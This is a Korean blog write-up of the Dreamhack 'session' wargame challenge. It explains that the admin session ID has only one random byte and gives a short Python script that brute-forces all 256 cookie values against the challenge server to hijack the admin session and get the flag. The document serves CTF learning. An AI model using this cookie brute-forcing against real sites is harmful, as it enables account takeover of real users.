또 뭐하지
[Dreamhack] session 본문
728x90
풀이
문제 코드를 살펴보니 지난 번에 풀었던 session-basic과 비슷하다. 그 차이를 살펴보니 admin의 session_id을 생성할 때 os.urandom(4).hex()
가 아닌 os.urandom(1).hex()
를 사용하고 있다.
그 차이가 무엇인지 파이썬을 돌려보니 숫자가 byte 크기를 나타내고 있었다. 그렇다면 admin의 session_id는 작은 범위 내에서 랜덤하게 돌아가니 brute-force를 해야겠다고 생각했다.
[버프스위트 설치]
[버프스위트 브루트포스]
전수조사를 어떻게 해야하나 하다가 버프 스위트를 사용하면 된다길래 위 글을 참고했다.
시도를 했지만 학교 인터넷이랑 충돌이 나는지 실패했다...
이번에는 파이썬 코드를 작성해서 전수조사를 진행해보기로 했다.
guest로 로그인했을 때 HTML 파일을 확인해보면 h3 tag가 있는 곳에 필요한 정보가 출력되는 것을 알 수 있었다. 이를 힌트로 삼아 admin의 sessionid가 입력되면 h3값이 출력될 것이라고 예상하고 코드를 작성하였다.
import requests
from bs4 import BeautifulSoup
for i in range(256):
session_id = format(i, '02x')
cookies = {'sessionid': session_id}
response = requests.get('http://host3.dreamhack.games:19640/', cookies=cookies)
# BeautifulSoup을 사용하여 HTML 파싱
soup = BeautifulSoup(response.text, 'html.parser')
h3_tag = soup.find('h3')
if h3_tag:
print(cookies, h3_tag.text.strip())
break
else:
print("텍스트를 찾을 수 없습니다.")
위와 같은 코드를 작성하여 실행결과 아래와 같이 flag 값을 얻을 수 있었다.
이 때 알아낸 sessionid 값을 쿠키값으로 입력했을 때 아래와 같이 flag값이 출력되는 것도 확인할 수 있었다.
'Write-up > Web' 카테고리의 다른 글
[Dreamhack] simple_sqli (0) | 2024.04.05 |
---|---|
[Dreamhack] csrf-2 (0) | 2024.04.05 |
[Dreamhack] session-basic (0) | 2024.04.03 |
[Dreamhack] Cookie (0) | 2024.04.03 |
[Dreamhack] devtools-sources (0) | 2024.03.29 |